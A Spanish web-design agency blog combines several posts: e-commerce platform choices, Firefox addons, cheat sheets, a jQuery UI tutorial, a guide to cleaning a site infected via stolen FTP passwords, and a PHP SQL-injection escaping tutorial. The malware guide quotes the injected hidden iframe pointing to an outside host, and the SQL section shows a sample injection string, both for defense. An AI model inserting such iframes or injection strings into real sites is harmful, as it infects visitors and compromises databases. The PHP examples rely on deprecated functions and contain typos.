Se puede crear una tienda online de dos maneras dierentes, o bien con un software base OpenSource como Oscommerce, Magento, PrestaShop, o bien con un software nativo y desarrollado a medida.

En este articulo vamos a comentar las diferencias entre un tipo de tienda online y el otro:

1) Crear nuestra tienda online los denominados Open Source (código abierto y gratuito desarrollado por comunidades de programadores), tiene por ventaja que se encuentran en constante evolución, y “nunca”  nos quedara obsoleto para poder ampliarlos con las necesidades que nos van surgiendo ya que de seguro nuestras necesidades ya le han surgido a mas de una persona de la comunidad  y encontraremos los modulos disponibles.
Esta opcion es mucho mas economica que desarrollar una tienda a medida, pero siempre debemos analizar que espera usted de su tienda online en cuanto a funciones, ya que estos tipos de Software tiene unos funcionamientos estandars que para modificarlos a sus necesidades en cuanto a programacion puede ser un proceso complicado.
Otro tema a tener en cuenta es el diseño, crear una tienda oline a partir de estos sistemas, es empezar desde una plantilla prediseñada (existen miles) y adaptarla a su imagen corporativa, con lo que la flexibilidad de diseño es baja, y se deben seguir los lineamientos específicos marcados por la plantilla escogida.

2) Crear una tienda on-line a medida es una labor mas complicada, demora mas tiempo, y por supuesto, es mas caro. La ventaja de este tipo de tiendas online, es la personalización del diseño y funcionamiento es 100% a medida. A diferencia del caso anterior de las tiendas on-line prediseñadas, esto es como o comprarse un traje en el zara, o comprarse un traje hecho a medida. Esta opcion siempre es recomendable cuando se requiere cierto grado de personalizacion en su programacion, como por ejempo cuando debemos integrar nuestra web con nuestro ERP para que nuestros productos se sincronizan, o otras funcionabilidades a medidas qeu se deban desarrollar y no lo disponga el sistema anterior.

En definitiva, podemos crear tienda online a medida o con prediseños: o nos compramos un traje a medida, o nos ponemos un ya desarrollado. En Soluciones Uno creamos tiendas online tanto a medida como con sistemas opensource, si lo desea, solicite un presupuesto sin compromiso.

A continuación, listaremos los addons que más utilizamos en Soluciones Uno, para llevar a cabo todos nuestros proyectos de diseño y programación web.

Firebug , infaltable para quien diga llamarse diseñador web. El Firebug nos dará importante información en tiempo real mientras testeamos los sitios.
Desde el tiempo de carga de la información, las respuesta del servidor, hasta un completo escaneo del código HTML, y una muy bienvenida información sobre los estilos CSS y su edición en tiempo real.

IE Tab, rústico pero efectivo. IE tab nos permite abrir otra pestaña, pero este se mostrará tal cual como se vería en Internet Explorer.
Lo bueno de este addon, es que no se trata de una  “emulación” del Firefox, sino que básicamente, ejecuta el componente de Internet Explorer instalado en el sistema operativo, y lo incrusta dentro de la pestaña.
Esto acelera los procesos de comparación al momento de la maquetación y la programación javascript.

Flash Tracer, puede ahorrarnos miles de dolores. Especial para que aquellos sitios en flash, traen información de bases de datos.
Como ya sabrán, no hay forma de sacar por pantalla un trace() de actionscript cuando ejecutamos la película en un navegador. Bueno al menos hasta ahora.
Si bien requiere la instalación de un debug del mismo flash player, funciona básicamente leyendo un registro de logs del debug, y lo muestra en tiempo real. De esa forma podemos trazar todo lo que sea necesario.

FireShot, herramienta básica, pero por demás útil. FireShot, nos permitirá tomar una captura del sitio que estamos visualizando y guardarla en el formato de imagen que mas queramos. Podemos tomar capturas de forma total y parcial, guardar un fichero o dejara en memoria para pegarla en algún software. E incluso trae un pequeño editor propio como para poder hacer marcas en sobre la captura e indicar diferentes aspectos con su correspondiente etiquetación.

HTML validator. A la hora de desarrollar nuestros sitios web somos bastante exigentes en cumplir correctamente con lo establecido por la W3C con respecto a la programación de del sitio. Esto es importante ya que los estándares nos garantizan el correcto funcionamiento del sitio en la mayoría de los navegadores. Un código ordenado es más admisible por los buscadores que apoyan el estándar.
Si bien ya tenemos bastante experiencia en diseño web, esta pequeña herramienta, testea constantemente nuestro código y nos advierte en tiempo real sobre las diferentes fallas o usos no correctos en el código. Permitiéndonos así corregir nuestro trabajo a medida que lo realizamos.

Web Developer, otra interesante herramienta para el desarrollo  web. Con características similares al Firebug, nos permite ver el código generado por javascript, y nos conectar directamente con el validador online de la W3C para poder dar un testeo completo y final a nuestros sitios.

Xmarks, marcadores, de la casa al trabajo, del trabajo a la casa. Esta herramienta es una gran utilidad ciertamente. Permite tener sincronizados nuestros marcadores en todas las PC donde tengamos este addon instalado y una cuenta configurada. El servicio es gratuito, y además es compatible con varios navegadores más.  Ahora todo lo que marques en tu trabajo lo podrás ver en tu casa sin necesidad de andar haciendo memoria o anotando los sitios en otros medios menos prácticos. La sincronización se ejecuta automáticamente de forma silenciosa y casi instantánea.

AdBlock Plus, la publicidad deja de ser publicidad cuando nos hace perder tiempo. AdBlock, simplemente detiene el trafico de todo aquello que considere publicidad, esto hará que la velocidad de carga de los sitios mejore sensiblemente. Además podremos agregar, eliminar y modificar las reglas de bloqueo para poder personalizar el filtrado.

Diccionario de Español/España, ¿Quién no comete un pequeño error a veces? Este addon nos marcará con un subrayado rojo las palabras que estén mal escritas, dándonos la posibilidad de corregirlas y pedir sugerencias sobre la misma, similar al Microsoft Word.

Con estas herramientas, podríamos decir que ya tenemos básicamente cubiertas todas las expectativas básicas de lo que debería tener un navegador.

¡Esperamos que les sea de gran ayuda!

Un saludo y hasta entonces.

jQuery: http://colorcharge.com/jquery/
jQuery (Otra versión): http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/
PHP: http://www.dreamincode.net/downloads/ref_sheets/php_reference_sheet.pdf
Photoshop CS4, shortcuts: http://morris-photographics.com/photoshop/shortcuts/#pscs4
CSS: http://www.addedbytes.com/cheat-sheets/css-cheat-sheet/
CSS Shorthand: http://www.addedbytes.com/cheat-sheets/css-cheat-sheet/
Colores RGB: http://designtopx.files.wordpress.com/2009/11/rgb-hex-cheat-sheet-v1.pdf
HTML: http://designtopx.files.wordpress.com/2009/11/html-cheat-sheet-v1.pdf
HTML, entidades y atributos: http://www.elizabethcastro.com/html/extras/xhtml_ref.html
HTML 5 y CSS3: http://www.webresourcesdepot.com/html-5-and-css3-cheat-sheets-collection/
Flash CS4 shortcuts: http://subdivision.co.uk/wp-content/uploads/2009/03/FlashCS4_PC_Shortcuts.pdf
Mod rewrite: http://www.addedbytes.com/apache/mod_rewrite-cheat-sheet/
HTACCESS: http://www.thejackol.com/htaccess-cheatsheet/
Caracteres ASCII y ANSI: http://www.cosassencillas.com/2009/05/03/hojas-de-ayuda-caracteres-ascii-ansi/
SEO: http://www.seomoz.org/blog/the-web-developers-seo-cheat-sheet
Mysql: http://www.tech-geeks.org/contrib/mdrone/mysql-stuff/mysql-cheatsheet.html
Javascript: http://www.addedbytes.com/cheat-sheets/javascript-cheat-sheet/

Como verán existe gran variedad de cheat sheets, hay para todos los gustos. A medida que vayamos encontrando más que nos sean de utilidad, los iremos compartiendo con ustedes!

Es de facil implementacion ya que en un unico archivo JavaScript
contiene las funcionalidades comunes de DOM, eventos, efectos y AJAX.
incluyendo soporte para CSS 1-3 y un plugin básico de XPath.
Soporta extensiones.
Utilidades varias como obtener información del navegador, operar con Objetos y Arrays, etc.
Compatible con los navegadores Firefox 2.0+, Internet Explorer 6+, Safari 2.0.2+ y Opera 9+

El Equipo Jquery cuenta con un desarrollo orientado a las interfaces de usuario llamado Jquery UI.
Con el podremos crear muy facilmente widgets y animaciones.

Se utiliza igual que cualquier otra extensión para jQuery.
Sólo hay que añadir los archivos .js a la página, ademas de la hoja de estilos propia del script, primero debe aparecer la biblioteca jQuery y después el resto:

<link type=”text/css” href=”css/themename/jquery-ui-1.7.1.custom.css” rel=”Stylesheet” />
<script type=”text/javascript” src=”js/jquery-1.3.2.min.js”></script>
<script type=”text/javascript” src=”js/jquery-ui-1.7.1.custom.min.js”></script>

Jquery UI Cuenta con 24 temas prediseñados, y si bien pueden ser editados, existe la posibilidad de generar uno propio.
Para esto, cuenta con el ThemeRoller, que nos permite editar los widgets y efectos.

A la hora de descargar jquery ui tenemos la posibilidad de, para ahorrar algunos bytes,
destildar los efectos y/o widtgets que no vamos a usar, (si sabemos esto de antemano).

Como usarlo?, es simple, su notacion es relativamente parecida, inicializar los widgets consiste en
$(elemento).nombreWidget();

con eso, para un uso simple con eventos predeterminados, alcanza.

Pero siempre se pueden modificar usando notacion json, de una manera muy sencilla e intuitiva
$(elemento).nombreWidget({evento:valor,evento2:valor2,evento3,valor3});

Siempre que se necesita hacer referencia a un elemento, se utiliza el $
$(“elemento”).evento/widget();

el elemento siempre debe ir a compañado por su selector, de la misma manera que se lo referencia en las hojas de estilo.
# para ID
. para Clases

Algunos ejemplos de Widgets():

//Tabs
$(‘#tabs’).tabs();// javascript

<!–// html //–>
<div id=”tabs”>
<ul>
<li><a href=”#tabs-1″>First</a></li>
<li><a href=”#tabs-2″>Second</a></li>
<li><a href=”#tabs-3″>Third</a></li>
</ul>
<div id=”tabs-1″>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
</div>
<div id=”tabs-2″>
Phasellus mattis tincidunt nibh. Cras orci urna, blandit id, pretium vel, aliquet ornare, felis. Maecenas scelerisque sem non nisl. Fusce sed lorem in enim dictum bibendum.
</div>
<div id=”tabs-3″>
Nam dui erat, auctor a, dignissim quis, sollicitudin eu, felis. Pellentesque nisi urna, interdum eget, sagittis et, consequat vestibulum, lacus. Mauris porttitor ullamcorper augue.
</div>
</div>

//Datepicker
$(‘#datepicker’).datepicker();// javascript

<!–// html //–>
<div id=”datepicker”></div>

//Accordion
$(“#accordion”).accordion({ header: “h3″ }); //javascript

<!–// html //–>
<div id=”accordion”>
<div>
<h3><a href=”#”>First</a></h3>
<div>Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet.</div>
</div>
<div>
<h3><a href=”#”>Second</a></h3>
<div>Phasellus mattis tincidunt nibh.</div>
</div>
<div>
<h3><a href=”#”>Third</a></h3>
<div>Nam dui erat, auctor a, dignissim quis.</div>
</div>
</div>

En conclusión, Jquery es una de las librerías javascript mas usadas por su fácil implementación,
amplia variedad de plugins, varias optimizaciones a su código fuente además de estar muy bien documentado.
Si estás interesado en enriquecer tu sitio con componentes web 2.0, efectos, animaciones, Ajax,
interfaces de usuario avanzadas, etc., jQuery es la herramienta a tener en cuenta.

Los archivos que fueron infectados (modificados) en general del sitio web son todos los denominados:

Defaults.*
Index.*
Home.*

La linea de codigo que nos añade a nuestros archivos por lo general es:

iframe frameborder=”0″ onload=”if (!this.src){ this.src=’http://smert-test.ru:8080/index.php’; this.height=’0′; this.width=’0′;}” qgbugjfzjmsuhhvwoycloflqbtukhxq iframe

Indiferente de la extension del archivo el Malware ataca a los archivos con este nombre. Inclusive si el archivo se denomina index_old.php. La misma es añadida justo alado de la etiqueta Body, o al final del codigo fuente, un iframe con el codigo mencionado.

Este ataque es por que un sistema atacante se ha apropiado de nuestras contraseñas FTP, infectando alguno ordenador, y entonces genera un script que teniendo dicho acceso, modificara constantemente nuestros archivos. Por más que eliminemos esta linea, debemos cambiar con urgencia el acceso FTP al sitio web, si no siempre nos seguiran modificando el codigo.

¿Como solucionarlo?

1) Modifica todas tus contraseñas FTP´s de todos tus sitios webs.
2) Actualiza tu Cliente FTP a la ultima version.
3) Haz un escaneo completo de virus con tu antivirus actualizado.
4) Pasa alguna herramienta de eliminacion de SpyWares como Spyboot en tu ordenador.
5) Elimina todas las lineas de codigos de tus sitios webs “infectados”. La mejor forma es si el mismo lo tienes en local, utilizar Dreamweaver para buscar y remplazar. Otra opcion seria recuperar backups.
6) Desde Web Master tools, debes tener configurado el sitio web, para solicitar a Google que realize una revision de tu sitio web, con el problema solucionado.
Esto suele tardar aproximadamente unas 10 horas, con lo que deberas tener mucha paciencia.

En la mayoría de los casos las variables pueden contener cadenas de caracteres que pueden romper otras cadenas donde son introducidas, como ser fragmentos de código SQL, maquetas HTML, campos input o textarea.

Algunos casos más severos que otros, siendo las inyecciones SQL un problema de seguridad en aquellos sitios que no han tomado los recaudos necesarios.

Nuestro lenguaje de programación web de preferencia es PHP, por lo tanto también tenemos preferencia por el motor MySql. Así que les mostraremos algunos consejos para utilizar en estas plataformas.

¿Qué es escapar?

Escapar un carácter es ante poner una contra barra detrás de él.

$variable = “Cadena de texto \”entre comillas\”.”;
echo $variable;

Como verán, las comillas que corresponden a la cadena se escapean con el carácter \, permitiendo esto que las comillas puedan ser guardadas dentro de la cadena, evitando que se confundan con el cierre. Esta salida se verá así:

Cadena de texto “entre comillas”.

Los caracteres reservados de un lenguaje deben ser escapados para que en su compilación no se abran las cadenas ni se mal interprete el código.

Función mysql_real_escape_string() -> http://ar2.php.net/mysql_real_escape_string

Es seguramente una de las funciones mejor concebidas para concatenar variables dentro de una consulta dirigida a MySql.

- Representaremos un error:
En la url tenemos: http://www.unsitio.es/producto.php?idprod=‘ AND idusuario = ‘34

En php tenemos:
$idprod = $_GET[‘idprod'];
$SQL = “SELECT * FROM productos WHERE idprod = ‘$idprod”

Si compilamos esto quedaría:
SELECT * FROM productos WHERE idprod = ‘‘ AND idusuario = ‘34′

$idprod puede ser una variable introducida por $_GET mediante la url, es un uso habitual para mostrar detalles de productos en una plantilla php, pero mal utilizada por un navegante puede fácilmente rompe una cadena y devolver errores en pantalla y meticulosamente ir descubriendo la estructura de la Base de Datos.

Si hiciéramos:

$ id_user = mysql_real_escape_string($_GET[‘id_user']);
$SQL = “SELECT * FROM productos WHERE idprod = ‘$id_user”

Esto quedaría:
SELECT * FROM productos WHERE idprod = ‘\‘ AND idusuario = \‘34′

De esta forma logramos que la cadena ingresada sea estrictamente registrada como una cadena de texto, y así la consulta no se romperá. En el peor de los casos, no devolverá resultados.

Ahora bien, esto no es todo. Existen otros errores posibles que puede ocurrir cuando vamos a comparar parámetro por $_GET, que ha sufrido alguna modificación accidental.
Por ejemplo:

$idprod = mysql_real_escape_string($_GET[‘idprod']);
SELECT * FROM productos WHERE idprod = ‘$idprod ‘;

Será: SELECT * FROM productos WHERE idprod= ‘54ç’

Esto no devolverá resultados, y veremos una planilla con la información sobre el producto, prácticamente vacía.
Lo correspondiente a realizar cuando necesitamos recibir un parámetro netamente entero, es parsear el valor, para ello utilizamos (int)

$idprod = (int)($_GET[‘idprod']);
SELECT * FROM productos WHERE idprod = ‘$idprod’;

Será: SELECT * FROM productos WHERE idproducto = ‘54′

En caso de que $_GET[‘idprod'] sea nulo o alfanumérico sin números en su cadena, el valor parseado será 0. Si tuviera algún número, lo tomará y lo utilizará.
Ejemplo:

$variable = (int)(“101dalmatas”);
echo $variable;

La salida será: 101

Otro aspecto muy importante es ocultar toda muestra de código que pueda salir por pantalla, o evitar mostrar una página que resulta incompleta.

Ejemplo:

En la url tenemos: http://www.unsitio.es/producto.php?idprod=unacadenadetexto

$idprod = (int)$_GET[‘idprod'];
$SQL = “SELECT * FROM productos WHERE idprod = $id_prod”;
(es decir: SELECT * FROM productos WHERE idprod = 0)

Normalmente no existen registros con índice 0, ya que para los lenguajes puede confundirse con un valor nulo. Entonces esta búsqueda no devolverá resultados.

Para lo cual lo correcto es verificar el resultado y evitar que se genere una página sin información:

$idprod = (int)$_GET[‘idprod'];
$SQL = “SELECT * FROM productos WHERE idprod = $id_prod”;
$rsd = mysql_query($SQL, $conexion);
$row = mysql_fetch_assoc($rsd);

if (!$row){
header(“location: error.php”);
die(“error al mostrar producto”);
}

La función header() nos permite redireccionar hacia otra página avisando al usuario sobre el error. Puede ocurrir que la devolución de resultados falle si se están realizando tareas de mantenimiento. O bien que el producto ya no exista.

La idea de re direccionar, es evitar caer en un link muerto. Esto beneficia el posicionamiento web del site, ya que los motores de búsqueda al no encontrar links muertos califican el site con un Rank más alto. Además de la posibilidad de crear una interface más amigable con el navegante.

La función header() debe ejecutarse previamente el encabezado HTML del site. Esto puede parecer engorroso, pero no da problemas en lo más mínimo cuando el código esta aplicado correctamente.

La función die() funciona para cortar el proceso, en caso de que por algún motivo no funcione header(). Es una buena costumbre su utilización.